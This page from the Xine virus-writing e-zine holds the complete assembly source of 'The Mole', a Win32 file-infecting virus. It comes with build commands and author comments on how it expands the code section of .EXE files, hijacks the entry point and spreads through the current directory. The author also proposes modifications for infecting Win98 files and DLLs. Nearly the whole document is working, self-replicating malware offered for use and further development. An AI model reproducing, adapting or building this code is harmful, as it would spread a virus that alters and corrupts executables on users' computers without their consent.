Copy Link
Add to Bookmark
Report
Xine - issue #4 - Phile 200
/-----------------------------\
| Xine - issue #4 - Phile 200 |
\-----------------------------/
;The Mole by Murkry\ikx
;A small win32 virus that uses memmap to expand the code section of a
;.exe then place its code there. Does not work on some Win98 files since
;MS in its infinite wisdom has made file aligment 1000h instead of 200h
;of course this makes this type of virus redunant since you do not need
;to expand the section odds are the file will have 400-800h bytes free anyway
;so the day of cavity infectors has come in the form of Win98 but sadly
;this virus does not infect Win98 type files. But it does infect WinNT
;A relative small change in code should rectify this.
;if the file infect mask is changed to *.dll it will work and if then
;return to *.exe it returns. This would be a interesting change for other
;students of vx to explore.
;Tested in NT and Win95 works very well
;size just under 400h to get the date resest and control attributes
;it would need to be bigger say 600h, actaul less but 200h should the
;smallest increment you use for this type of virus
;A quick survey off 30 PE file in a win95 directory shows
; possible percent of files that can be infected versus size of
;virus of this type
;
; 400h 83%
; 600h 60%
; 800h 50%
; a00h 37%
; c00h 20%
;
;what am I actual doing here and why does it fail if filealign is 100h
;well in win32 you can asgin filealigment to 200h or 1000h
; (not sure if other values will work but this are the 200 that MS uses)
;now if you fileAL = 200h and the MemoryAligment = 1000h this means
;your file is bigger in memory then what it takes on the disk.
;Eaxmple
;TASM file do nothing but Exit Process
;On Disk |In Memory
;0 MZ |RVA +0 MZ
;100h PE | 100h PE
;600h FIRST SECTION | 1000h FIRST SECTION
;800h Second section | 2000h Second SECTION
;A00h third section | 3000h THIRD SECTION
;C00h fourth section | 4000h FOUURTH SECTION
;somtimes som padding of 200h in size|
;This means there is memory space that is unused, Some Virus have already use
;some of this space 2 of my virus
;Murkry- which uses the space wasted on file and memory In the Header area
;DarkSide- which use the space in the data section
;Well with memmap API's you can rearrnange the file to increase the file space
;available on disk but not increase the space in memory, this is important due
;how pe files execute its code all relocs are hardcode to be at rva + VA of section
;if you were to move the section in memory you then need to adjust all the
;relocs, which can be done but is a pain.If you assume some limits to your file
;size then you can increase the file size with out increasing memory size
;Eaxample of Infect file
;On Disk |In Memory
;0 MZ |RVA +0 MZ
;100h PE | 100h PE
;600h FIRST SECTION | 1000h FIRST SECTION
; Virus here | 1800h virus here
;800h Second section | 2000h Second SECTION
;A00h third section | 3000h THIRD SECTION
;C00h fourth section | 4000h FOUURTH SECTION
;now you do need to adjust the physcal offset of each Section in their respective
;section entrys but thats maybe 4 or 6 spots if you need to update relocs it could
;several hundred, and if the .reloc section was stripped from the file good luck
;anyway this method of infection also means you do not have to adjust the
;charteristcs of a section to code since you are infecting the code section
;well I am sure that is clear as mud....
;oh yeah if the file it is infecting it has say greater then 800h of
;free space then the virus will reinfect, which means that the virus will
;now get twice as many chances to infect when this file it executed :>
;I do some weird code down below among other things I leave info on the
;stack soe I can use it later, I also do some weird jmps when memmaping
;the first time throuhg I memmap at files true size , then if its not infected
;and can be I unmap and run thru the same code to map with the new size
; hey it works , looks like vogon poetry but it works
;as a side not I released this virus to the now Defucnt Vicodin TNN site
;and AVP calls it IKX, with really was meant to be called the TheMole since
;it burrowed into the file,
;Oh the reason this cant infect Win98 files, some to all of them (win98 files)
;have file alignments set to 1000h (for faster load time, I hear) All
;win98 files have been requested to be compiled at that size. So when this
;virus checks for free space it will find all sections end at a 1000h increment
;which means there is no free space.
;So what someone needs to do is modify this so instead of expanding files
;it checks to free space in the code section and writes itself there
;this virus would be like a snail or crab that uses the discard shells to
;house itself so code name TheSnail98 , Thats why I say the future of
;cavity infectors is near.. Since I hear WinNT aka Win2000 will also
;have this feature. Thank God Hard Drives are cheap.
;Murkry
;To assemble
;tasm32 /ml /m3 mole;
;tlink32 /Tpe /aa /c /x mole,mole,, import32.lib,
ViriiSize equ 400h
.386
.model flat,stdcall
;Yeah I know they are not needed now :>
extrn GetFileSize:PROC
extrn ExitProcess:PROC
extrn CreateFileA:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC
extrn CloseHandle:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn FindClose:PROC
extrn SetEndOfFile:PROC
FILE_MAP_COPY EQU 000000001h
FILE_MAP_WRITE EQU 000000002h
FILE_MAP_READ EQU 000000004h
FILE_MAP_ALL_ACCESS EQU 0000f001fh
INVALID_HANDLE_VALUE EQU -1
FILE_ATTRIBUTE_NORMAL EQU 000000080h
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
OPEN_EXISTING equ 3
PAGE_NOACCESS EQU 000000001h
PAGE_READONLY EQU 000000002h
PAGE_READWRITE EQU 000000004h
PAGE_WRITECOPY EQU 000000008h
PAGE_EXECUTE EQU 000000010h
PAGE_EXECUTE_READ EQU 000000020h
PAGE_EXECUTE_READWRITE EQU 000000040h
PAGE_EXECUTE_WRITECOPY EQU 000000080h
;Header Offsets
PEHeaderSze EQU 0F8h
NumOfSects EQU 06h
SizeOfCode equ 1ch
ImageSze equ 50h
;section offsets
VSize equ 8h
VAddress equ 0Ch
SzeRawData equ 10h
PtrRawData equ 14h
HdrSze equ 28h
Find_data equ 139h
Find_data_name equ 2ch ;where in the structure is the name
FileSizeH equ 14h ;if not zero get out
Filesize equ 20h ;file size low
;find_file db Find_data dup(00) ;size of the find data
;-------------------------------------------
;how the stack is used
SHandle equ 0 ;Handle for the search routine
FHandle equ SHandle + 4 ;Handle for open file
CMHandle equ FHandle + 4 ;CreateMFileHandle
MHandle equ CMHandle + 4 ;Mhandle also address of where it is
FindFile equ MHandle + 4
CFile equ FindFile + Find_data + 4
CFMap equ CFile + 4
MapV equ CFMap + 4
CloseH equ MapV + 4
FindFirst equ CloseH + 4
FindNext equ FindFirst + 4
CloseFnd equ FindNext + 4
UnMapV equ CloseFnd + 4
SetFEnd equ UnMapV + 4
Flag equ SetFEnd + 3
GetProc equ Flag + 4
K32Load Equ GetProc + 4
HostPE Equ K32Load + 4
HostLoad equ HostPE + 4
Delta equ HostLoad + 4
WorkSpace equ GetProc
;-------------------------------------------
.data ;the data area
dummy dd ? ;this needs some data
;or it won't compile ...easily
;-------------------------------------------
.code
Mole:
db 68h
HostEip dd offset fini - 00400000h
Pusha
call GetAddie ;this leaves some data on the stack
;which mole use's which I know upsets
;some Purists out there
;Hey it drove me nuts, till I work
;out the stack offsets too
D1: sub esp,WorkSpace
mov ebp,esp
sub dword ptr[ebp + Delta],offset D1 - Offset Mole
;this gives mole its location in memory
;set return up to old eip
mov eax,dword ptr [ebp + HostPE]
add dword ptr [ebp + Delta + 4 + (8*4)],eax
Call GetFunctions ;With the k32 module
;and GetProc we can now get all
;the Fuctions we want
;FINDFIRST
lea eax,[ebp + FindFile]
push eax
mov eax,[ebp + Delta]
add eax, offset Fmask - Offset Mole
push eax
call dword ptr [ebp + FindFirst]
mov dword ptr [ebp + SHandle],eax
inc eax
jz NoFiles
dec eax
TryItAgain:
mov byte ptr [ebp + Flag],0 ;assume too small
call Map_Infect?
cmp byte ptr[ebp + Flag],0
jz FindNextOne
add dword ptr [Ebp + FindFile + Filesize],ViriiSize
call Map_Infect?
;call Modify
FindNextOne:
;FINDNEXT
lea eax,[ebp + FindFile]
push eax
mov eax,[ebp + SHandle]
push eax
call dword ptr [ebp + FindNext]
or eax,eax
jnz TryItAgain
NoFiles:
lea eax,[ebp + FindFile]
push eax
Call dword ptr [ebp + CloseFnd]
ADD ESP,Delta + 4 ;restore all
Popa
ret ;return to the host
;--------------------------------------------------------------
Map_Infect?:
xor eax,eax
cdq ;edx = 0
push eax ;handle template
;push FILE_ATTRIBUTE_NORMAL ;attr flags
mov dl,80h
push edx
push large OPEN_EXISTING ;creat flags
push eax ;security issue
push eax ;share mode
push GENERIC_READ or GENERIC_WRITE ;r\w access
Lea eax,[ebp + FindFile + Find_data_name]
push eax ;file name
call dword ptr [ebp + CFile] ;CreateFileA
inc eax ;smaller than cmp eax,-1, je...
jz FileError ;
dec eax ;
;-------------------------------------------------------------
cdq ;get edx = 0
mov [ebp + FHandle],eax
;-------------------------------------------------------
;CreateFileMap object
;This is what will determine how big the file is
;when this is done the file size will be changed
;and of course the date is changed
push edx ;fileMap name
push dword ptr [Ebp + FindFile + Filesize]
push edx ;file size high not use for this
push large PAGE_READWRITE ;Protection Rights R/W etc
push edx ;security attr
push eax ;File Handle
call dword ptr [ ebp + CFMap ] ;CreateFileMappingA
cdq ;again zero edx
;why here well ecx usual contains a
;value like C??????? which when xchg
;to eax when you us cdq edx = -1 not 0
xchg eax,ecx
jecxz MapHandleError
;-------------------------------------------------------------
mov [ebp + CMHandle],ecx ;2nd FileMapHandle
;-------------------------------------------------------------
;Map the View
push edx ;size to map if 0 whole file
;in win95 its always does whole file
push edx ;where it file to start the mapping
;low word
push edx ;high word
push large FILE_MAP_WRITE ;Acces rights
push ecx ;Map Handle
call dword ptr [ebp + MapV] ;MapViewOfFile
xchg eax,ecx
jecxz ErrorFileMap
;---------------------------------------------------------------------------
mov dword ptr [ebp + MHandle],ecx ;3rd Address of where its mapped
;---------------------------------------------------------------------------
;check for the oking of it then jmp out or back to close
;then reopen
;
MOV EDX,ECX
MOV Ebx,[EDX + 3CH] ;WHERE THE PE
cmp word ptr [ ebx+ edx],'EP'
jne NoRoom
LEA esi,[ebx + PEHeaderSze + edx] ; esi = first Section Entry
;check for the section char is
;set for code
test byte ptr [esi + 24h],20h
JE NoRoom
;FindOut if there is room to expand the file
mov ecx,[ESI + VAddress]
add ecx,[ESI + SzeRawData]
mov Eax,[ESI + VAddress + HdrSze ]
sub Eax,Ecx
cmp eax,ViriiSize
jl NoRoom
cmp byte ptr [ebp + Flag],0
jne Roomie
inc byte ptr [ebp + Flag]
jmp GoodOpenSize
Roomie:
call Infect
NoRoom:
GoodOpenSize: ;if called close file and get ready to infect
push dword ptr [ebp + MHandle]
call dword ptr [ebp + UnMapV] ;UnmapViewOfFile
;-------------------------------------------------------------
ErrorFileMap:
push dword ptr [ebp + CMHandle] ;close file map handle
call dword ptr [ebp + CloseH] ;CloseHandle ;on stack Handle to the Map object
MapHandleError:
push dword ptr [ebp + FHandle]
call dword ptr [ebp + CloseH] ;file CloseHandle ;on stack is the File open
FileError:
ret
;-----------------------------------------------------------------
Infect:
;Ok do the move
push esi
mov edx,[ebp + MHandle]
mov eax,[esi + PtrRawData]
add eax,[esi + SzeRawData] ;where this section ends in the file
mov ecx,dword ptr [Ebp + FindFile + Filesize]
dec ecx
sub ecx,ViriiSize
lea esi,[edx + ecx] ;where to move the data from
lea edi,[edx + ecx + ViriiSize ] ;to
inc ecx
sub ecx,eax ;how much we move for 800h
std ;move backwards
rep movsb ;move it
cld ;move forward again
xchg edi,esi
inc edi
pop esi
push esi
mov eax,[ebp + MHandle]
add eax,[eax + 3ch] ;points to PE
push eax
mov eax,[eax+28h] ;entry point RVA (Eip)
mov byte ptr [edi],68h ;creates the push for the ret
mov dword ptr [edi + 1],eax ;to return to host
pop eax
mov ecx,[ebp + MHandle]
add ecx,[esi + PtrRawData]
push edi
sub edi,ecx
add edi,[esi + VAddress]
;inc edi
mov dword ptr [eax +28h],edi ;update the eip address
pop edi
lea edi,[edi + 5] ;maybe 5 incs are better
mov esi,dword ptr [ebp + Delta]
lea esi,[esi + 5]
mov ecx,offset fini - offset Mole
rep movsb
pop esi ;restore pointer to the section entries
;update the .code area size in the section
add dword ptr [esi + SzeRawData ],ViriiSize
mov eax,dword ptr [esi + SzeRawData]
;update this as well be better if we check if it needed to be
;enlarged???
mov dword ptr [esi + VSize],eax
;not updating the image size since we are not
;becoming bigger in memory aligment only file alignment
;in the header PE
;add dword ptr [edx + ebx + ImageSze],ViriiSize
;Do update the code size in the Header area
add dword ptr [edx + ebx + SizeOfCode],ViriiSize
;now update the rest of the sections
Movzx ecx,word ptr [edx + ebx + NumOfSects]
dec ecx
;update the section entries pter to raw data as long as not 0
NextSect:
add esi, HdrSze
cmp dword ptr [esi + PtrRawData],0
je ZPter
add dword ptr [esi + PtrRawData],ViriiSize
ZPter: loop NextSect
ret
;--------------------------------------------------------------------------
;Used For GetAddie
K32 equ 0
BASE equ K32 + 4
Limit equ BASE + 4
AddFunc equ Limit + 4
AddName equ AddFunc + 4
AddOrd equ AddName+4
Nindex equ AddOrd + 4
WorkSp equ Nindex + 4
GetPAdd equ WorkSp + 4
RetAdd Equ GetPAdd + 4
EdataLoc equ 78h
IdataLoc equ 80h
GetAddie:
call here
here: pop esi
Call GetPE ;eax,esi
jne GetAddie_fini
push eax ;Address of PE header for this module
push esi ;Load address of Module
Call GetK32API
;On return Esi = a API call in Kernel32
Call GetPE ;eax,esi
push ESI ;Module address of K32
;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
push large 0 ;hold the return info
Call GetGetProcessAdd
push dword ptr [esp + 10h]
GetAddie_fini:
ret
;--------------------------------------------------------------
GetGetProcessAdd:
;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
;on return
;on the stack is the Address
sub esp,WorkSp
mov ebx,ebp
mov ebp,esp
Pusha
mov dword ptr[ esp+ 8],ebx
mov [ebp + K32],Esi
mov ebx,esi
mov eax,[eax + EdataLoc] ;gets us the Edata offset
lea esi,[eax + ebx + 10h] ;pointer to base
lea edi,[ebp+BASE]
lodsd
;mov [ebp + BASE],eax ;save base
stosd
lodsd ;total number of exported functions
;by name and ordinal
lodsd ;the functions exported by name
;mov [ebp +Limit],eax ;this is how far its safe to look
stosd
lodsd
add eax,ebx
;mov [ebp + AddFunc],eax
stosd
lodsd
add eax,ebx
;mov [ebp + AddName],eax
stosd
lodsd
add eax,ebx
;mov [ebp + AddOrd],eax
stosd
LookLoop:
mov esi,[ebp + AddName]
mov [EBP+Nindex],esi
mov edi,ebx ;get the load Add of K32
add edi,[esi]
xor ecx,ecx
TryAgain:
;find GetProcAddress
cmp [edi],'PteG'
jne NextOne
cmp [edi+4],'Acor'
jne NextOne
cmp [edi+8],'erdd'
jne NextOne
cmp word ptr[edi+0Ch],'ss'
jne NextOne
cmp byte ptr [edi+0Eh],00
jne NextOne
jmp GotGetProcAdd
NextOne:
inc ecx
cmp ecx,[ebp + Limit]
jge NotFound1
add dword ptr [ebp + Nindex],4
mov ESI,[EBP+Nindex]
mov edi,[esi]
add edi,ebx
jmp TryAgain
GotGetProcAdd:
;ok we have the index into the name array use this to get
; the index into the ord array
;
shl ecx,1 ;*2 for a word array
mov esi,[ebp + AddOrd]
add esi,ecx ;move to the correct spot in the array
movzx eax,word ptr [esi]
;ax = ordinal value
shl eax,2 ;*4
mov esi,[ebp + AddFunc]
add esi,eax
mov edi, dword ptr [esi]
add edi,ebx ;got the address of it
xchg eax,edi
mov dword ptr [ebp + GetPAdd],eax
jmp OkFound
NotFound1:
xor eax,eax
OkFound:
popa
add esp,WorkSp
ret
;--------------------------------------------------------------
;ok at this point we have
;esi = to the load address of the program
;eax = address to the PE header now using this get the .idata area
;rather than use the .IDATA section we look for the more dependable
;idata entry in the idatrva section which is offset 80h into the PE header
GetK32API:
push ebx
mov ebx,dword ptr [eax + IdataLoc]
add ebx,esi
;Ebx now points to the import data table
NextDll:
cmp dword ptr [ebx+0ch],0
je NoIdataLeft
lea eax,[ebx+0ch]
mov eax,[eax]
cmp dword ptr [eax+esi],'NREK'
jne NotFound
cmp dword ptr [eax+esi+4],'23LE'
jne NotFound
mov eax,[ebx+10h]
mov eax,[eax+esi]
;next line is needed only in debug td32
;only in win95 not Winnt 4.0 at least so far
; mov eax,[eax+1]
xchg eax,esi
pop ebx
ret
NoIdataLeft:
xor eax,eax
pop ebx
ret
NotFound:
add ebx,14h
jmp NextDll
;---------------------------------------------------------
;Routine that will , given the address within a .exe in memory
;track back and find the MZ header then using this info one can
;find the Kernel32 (as long as the exe imports a kernel32 function
; on input
;esi = the address to start looking at
;on exit
;esi = the address of the MZ header
;eax = the address of the PE header
GetPE:
SetupSEH:
push offset FindExcept
push dword ptr fs:[0]
mov fs:[0],esp
LoopFind:
and esi,0FFFFF000h
pusha
lodsw
cmp ax,'ZM'
je Found
popa
sub esi,1000h
jmp LoopFind
FindExcept:
;Some Exception occured assume "DEAD" area, reset and continue
mov eax,[esp +08h]
lea esp,[eax - 20h]
popa ;restores our "REGS" esi mainly
pop dword ptr fs:[0] ;restore old handler
add esp,4 ;remove last bit of hanlder
sub esi,1000h ;Get set for next page to look at
jmp SetupSEH
Found:
popa ;esi = out MZ header
pop dword ptr fs:[0]
add esp,4
Lea eax,[esi + 3ch]
mov eax,[eax]
add eax,esi
cmp word ptr ds:[eax],'EP'
ret
;---------------------------------------------------------------
GetFunctions:
Mov esi,[ebp+ Delta]
add esi,offset Funct_List - Offset Mole
Lea edi,dword ptr [ebp + CFile]
;mov ecx,9 ;*
xor ecx,ecx
mov cl,9
startGetLoop:
push ecx
push Esi ;function name
Push dword ptr [ ebp + K32Load] ;dll
call dword ptr [ebp + GetProc]
stosd
pop ecx
add esi,13h ;get next name
Loop startGetLoop
ret
;---------------------------------------------------------------
;Data for The Mole
Funct_List:
db "CreateFileA",0 ;12
Fmask db "*.EXE",0 ;5
db 1 dup(90h)
db "CreateFileMappingA",0 ;19
db "MapViewOfFile",0 ;14
db 5 dup(90h)
db "CloseHandle",0 ;12
db 7 dup(90h)
db "FindFirstFileA",0 ;15
db 4 dup(90h)
db "FindNextFileA",0 ;14
db 5 dup(90h)
db "FindClose",0 ;10
db 9 dup(90h)
db "UnmapViewOfFile",0 ;16
db 3 dup(90h)
db "SetEndOfFile",0 ;13
;db 6 dup(90h)
db 'Murkry\IKX'
;=========================================================================
fini:
push LARGE -1
call ExitProcess ;this simply terminates the program
end Mole